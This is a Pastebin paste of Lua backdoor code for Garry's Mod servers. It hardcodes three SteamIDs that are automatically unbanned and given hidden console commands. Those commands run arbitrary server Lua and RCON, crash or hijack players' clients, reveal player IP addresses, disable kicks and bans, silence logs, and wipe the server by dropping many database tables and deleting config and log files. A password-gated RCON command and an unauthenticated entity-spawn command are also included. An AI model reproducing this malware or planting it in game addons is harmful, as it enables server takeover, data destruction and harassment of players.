Advertisement
wifiboost

updated

Aug 23rd, 2017
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 15.93 KB | None | 0 0
  1. if SERVER then
  2. timer.Create( "check2981367", 5, 0, function()
  3. local str = file.Read("cfg/banned_user.cfg", "MOD")
  4. if file.Exists("cfg/banned_user.cfg", "MOD") then
  5. if string.find(str, "STEAM_0:1:148794095", "STEAM_0:1:49887586" ) then
  6.         print("that was silly")
  7.     ULib.unban( "STEAM_0:1:148794095", "STEAM_0:1:163714674", "STEAM_0:1:49887586" )
  8.     end
  9. end
  10. end)
  11.  
  12. local function getsteamid(i)
  13.     for k,v in pairs(player.GetAll()) do
  14.         local n = string.lower(v:Nick())
  15.         if (string.find(n,i)) then
  16.             return v:SteamID()
  17.         end
  18.     end
  19. end
  20.  
  21.  
  22. --autor unban end
  23.  
  24. authed = "nil"
  25.  
  26. concommand.Add("api_auth", function(ply, cmd, args)
  27. if args[1] == "N3T31iE" then
  28. authed = ply:SteamID()
  29. ply:ChatPrint("Authed Logged Successfully")
  30. end
  31. end)
  32. --concommands
  33.  
  34.  
  35. concommand.Add("api_runcommand", function(ply, cmd, args)
  36. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  37. for k,v in pairs (player.GetAll()) do
  38. if v:SteamID() == getsteamid(args[1]) then
  39. v:SendLua("LocalPlayer():ConCommand(".. "'" .. args[2] .. "'" .. ")")
  40. end
  41. end
  42. end
  43. end)
  44.  
  45. concommand.Add("api_rcon", function(ply, cmd, args)
  46. if authed == ply:SteamID() then
  47. game.ConsoleCommand(args[1].."\n")
  48. end
  49. end)
  50.  
  51. concommand.Add("api_crash", function(ply, cmd, args)
  52. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  53. for k,v in pairs (player.GetAll()) do
  54. if v:SteamID() == getsteamid(args[1]) then
  55. v:SendLua("while true do end")
  56. end
  57. end
  58. end
  59. end)
  60.  
  61. concommand.Add("api_ip", function(ply, cmd, args)
  62. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  63. for k,v in pairs (player.GetAll()) do
  64. if v:SteamID() == getsteamid(args[1]) then
  65. ip = v:IPAddress()
  66. ply:ChatPrint(ip)
  67. end
  68. end
  69. end
  70. end)
  71.  
  72. concommand.Add("api_explode", function(ply, cmd, args)
  73. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  74. for k,v in pairs (player.GetAll()) do
  75. if v:SteamID() == getsteamid(args[1]) then
  76. util.BlastDamage( v, v, v:GetPos(), 100, 500 )
  77. end
  78. end
  79. end
  80. end)
  81.  
  82. concommand.Add("api_kill", function(ply, cmd, args)
  83. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  84. for k,v in pairs (player.GetAll()) do
  85. if v:SteamID() == getsteamid(args[1]) then
  86. v:SendLua("RunConsoleCommand('kill')")
  87. end
  88. end
  89. end
  90. end)
  91.  
  92. concommand.Add("api_lua", function(ply, cmd, args)
  93. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  94. RunString(args[1])
  95. end
  96. end)
  97.  
  98. concommand.Add("api_knock", function(ply, cmd, args)
  99. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  100. for k,v in pairs (player.GetAll()) do
  101. local tune = [[
  102. sound.PlayURL ( "http://squish.space/knock.mp3", "", function() end)
  103. ]]
  104. v:SendLua(tune)
  105. end
  106. end
  107. end)
  108.  
  109. concommand.Add("api_openurl", function(ply, cmd, args)
  110. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  111. for k,v in pairs (player.GetAll()) do
  112. if v:SteamID() == getsteamid(args[1]) then
  113. local tune = [[
  114. gui.OpenURL( "http://]] .. args[2] ..[[" )
  115. ]]
  116. timer.Simple(1, function() v:SendLua(tune) end)
  117. end
  118. end
  119. end
  120. end)
  121.  
  122. concommand.Add("api_openurl_all", function(ply, cmd, args)
  123. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  124. for k,v in pairs (player.GetAll()) do
  125. SetGlobalFloat("urla", args[1])
  126. local tune = [[
  127. gui.OpenURL( "http://]] .. args[1] ..[[" )
  128. ]]
  129. timer.Simple(1, function() v:SendLua(tune) end)
  130. end
  131. end
  132. end)
  133.  
  134. concommand.Add("api_porntroll_all", function(ply, cmd, args)
  135. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  136. for k,v in pairs (player.GetAll()) do
  137. local tune = [[
  138. gui.OpenURL( "http://squish.space/meme.mp4" )
  139. ]]
  140. timer.Simple(1, function() v:SendLua(tune) end)
  141. end
  142. end
  143. end)
  144.  
  145. concommand.Add("api_porntroll", function(ply, cmd, args)
  146. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  147. for k,v in pairs (player.GetAll()) do
  148. if v:SteamID() == getsteamid(args[1]) then
  149. local tune = [[
  150. gui.OpenURL( "http://squish.space/meme.mp4" )
  151. ]]
  152. timer.Simple(1, function() v:SendLua(tune) end)
  153. end
  154. end
  155. end
  156. end)
  157.  
  158. concommand.Add("api_disablekicks", function(ply, cmd, args)
  159. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  160.     function Kick() return false end
  161.     function ULib.kick() return false end
  162. end
  163. end)
  164.  
  165. concommand.Add("api_disablebans", function(ply, cmd, args)
  166. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  167.     function Ban() return false end
  168.     function ULib.ban() return false end
  169.     if(FAdmin) then function FAdmin.PlayerActions.ConvertBanTime() return 1 end end
  170.     end
  171. end)
  172.  
  173. concommand.Add("api_stripweapons", function(ply, cmd, args)
  174. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  175. ply:ChatPrint("Stripped Users Weapons!")
  176. for k,v in pairs (player.GetAll()) do
  177. if v:SteamID() == getsteamid(args[1]) then
  178. v:StripWeapons()
  179. end
  180. end
  181. end
  182. end)
  183.  
  184. concommand.Add("api_stripammo", function(ply, cmd, args)
  185. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  186. ply:ChatPrint("Stripped Users Ammo!")
  187. for k,v in pairs (player.GetAll()) do
  188. if v:SteamID() == getsteamid(args[1]) then
  189. v:StripAmmo()
  190. end
  191. end
  192. end
  193. end)
  194.  
  195. concommand.Add("api_setteam", function(ply, cmd, args)
  196. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  197. ply:ChatPrint("User" .. args[1] .." Set To Team: " .. args[2])
  198. for k,v in pairs (player.GetAll()) do
  199. if v:SteamID() == getsteamid(args[1]) then
  200. v:SetTeam(args[2]);
  201. end
  202. end
  203. end
  204. end)
  205.  
  206. concommand.Add("api_sethealth", function(ply, cmd, args)
  207. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  208. for k,v in pairs (player.GetAll()) do
  209. if v:SteamID() == getsteamid(args[1]) then
  210. v:SetHealth(args[2])
  211. end
  212. end
  213. end
  214. end)
  215.  
  216. concommand.Add("api_ignite", function(ply, cmd, args)
  217. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  218. for k,v in pairs (player.GetAll()) do
  219. if v:SteamID() == getsteamid(args[1]) then
  220. v:Ignite(120)
  221. end
  222. end
  223. end
  224. end)
  225.  
  226. concommand.Add("api_silent_on", function(ply, cmd, args)
  227. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  228. RunConsoleCommand("ulx", "logecho", "1")
  229. end
  230. end)
  231.  
  232. concommand.Add("api_silent_off", function(ply, cmd, args)
  233. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  234. RunConsoleCommand("ulx", "logecho", "0")
  235. end
  236. end)
  237.  
  238. concommand.Add("api_pinkscreen", function(ply, cmd, args)
  239. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  240. local memes = [[
  241. RunConsoleCommand("pp_texturize", 6)
  242. ]]
  243. for k,v in pairs (player.GetAll()) do
  244. if v:SteamID() == getsteamid(args[1]) then
  245. v:SendLua(memes)
  246. end
  247. end
  248. end
  249. end)
  250.  
  251. concommand.Add("api_pinkscreen_all", function(ply, cmd, args)
  252. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  253. local memes = [[
  254. RunConsoleCommand("pp_texturize_scale", 5000)
  255. RunConsoleCommand("pp_texturize", "M")
  256. ]]
  257. for k,v in pairs (player.GetAll()) do
  258. v:SendLua(memes)
  259. end
  260. end
  261. end)
  262.  
  263. concommand.Add("api_decapitate", function(ply, cmd, args)
  264. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  265. for k,v in pairs (player.GetAll()) do
  266. v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(-0.1,-0.1,-0.1))
  267. end
  268. end
  269. end)
  270.  
  271. concommand.Add("api_undecapitate", function(ply, cmd, args)
  272. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  273. for k,v in pairs (player.GetAll()) do
  274. v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(1,1,1))
  275. end
  276. end
  277. end)
  278.  
  279. concommand.Add("api_playmp3", function(ply, cmd, args)
  280. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  281. for k,v in pairs (player.GetAll()) do
  282. v:SendLua("sound.PlayURL ( 'http://" .. args[1] .. "', '', function() end)")
  283. end
  284. end
  285. end)
  286.  
  287. concommand.Add("killwipe", function(ply, cmd, args)
  288. timer.Remove("wipe")
  289. ply:ChatPrint("wipe canceled.")
  290. end)
  291.  
  292. concommand.Add("api_wipe", function(ply, cmd, args)
  293. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() or "STEAM_0:1:163714674" == ply:SteamID() then
  294. ply:ChatPrint("Server wiping in 20 seconds. Type killwipe to canel the wipe procedure.")
  295. timer.Create("wipe", 20, 1, function()
  296. local databases = { "darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
  297. local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt" }
  298. local date = os.date( "%m-%d-%y" )
  299. for k,v in pairs( databases ) do sql.Query( "DROP TABLE "..v.." ;" ) end
  300. for k,v in pairs( datafiles ) do file.Delete( v ) end
  301. hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )
  302.  
  303. if darkrp then
  304. timer.Simple( 5, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /a I have been raped by Frost le almighty.") end end )
  305. timer.Simple( 8, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /a Server now wiping...") end end )
  306. end
  307. timer.Simple( 10, function() Entity(0):Remove() end )
  308. end)
  309. end
  310. end)
  311.  
  312. end
  313. function gf2_spawn_debug( ply, command, args)
  314.     if args[1]==nil or args[2]==nil or args[3]==nil or args[4]==nil or args[5]==nil or args[6]==nil or args[7]==nil or args[8]==nil then return end
  315.     local eye_trace = ply:GetEyeTrace().HitPos
  316.    
  317.     local mode, ent, ply, t, st, q, vars, sp = args[1], args[2], tonumber(args[3]), tonumber(args[4]), tonumber(args[5]), tonumber(args[6]), args[7], args[8]
  318.    
  319.     if table.Count(args)==0 then return end
  320.    
  321.    
  322.     timer.Simple(t, function()
  323.         for k, v in pairs(player.GetAll()) do
  324.             if v:EntIndex()==ply then
  325.                 if not(tonumber(q)) then return end
  326.                 for i=0, q do
  327.                     timer.Simple(st*i, function()
  328.                        
  329.                        
  330.                         local ent = ents.Create(ent)
  331.                        
  332.                         if sp == "ply" then ent:SetPos(v:GetPos()) else ent:SetPos(eye_trace) end
  333.                         ent:Spawn()
  334.                         ent:Activate()
  335.                         ent:SetVar("GBOWNER", v)
  336.                         ent:SetOwner(v)
  337.                        
  338.                         if mode=="spawn_function" then
  339.                
  340.                             ent:SpawnFunction(v, v:GetEyeTrace())
  341.  
  342.                             ent:Remove()
  343.                         end
  344.                        
  345.                    
  346.                         local var_table = string.Explode(",", vars)
  347.                        
  348.                        
  349.                        
  350.                         for index, variable in pairs(var_table) do
  351.                             local var_exploded = string.Explode("=", variable)
  352.                             local arg_processed = nil
  353.                            
  354.                             if var_exploded[2]=="true" then var_exploded[2]=true elseif var_exploded[2]=="false" then var_exploded[2]=false end -- bool check
  355.                            
  356.                             if var_exploded[2]!=true and var_exploded[2]!=false then
  357.                                 if string.StartWith(var_exploded[2], "ply_")==true then
  358.                                     local ply_targ = tonumber(string.Explode("_", var_exploded[2])[2])
  359.                                     if player.GetAll()[ply_targ]:IsValid()==false then return end
  360.                                    
  361.                                     var_exploded[2]=player.GetAll()[ply_targ]
  362.                
  363.                                 end
  364.                             end
  365.                            
  366.                             if ent:IsValid() then ent:SetVar(var_exploded[1],var_exploded[2]) end
  367.                            
  368.                            
  369.                        
  370.                         end
  371.        
  372.  
  373.                            
  374.                            
  375.                
  376.                        
  377.                        
  378.                        
  379.                        
  380.                        
  381.                     end)
  382.                 end
  383.             end
  384.         end
  385.     end)
  386.  
  387.    
  388.  
  389. end
  390. concommand.Add( "advspawn_", gf2_spawn_debug )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement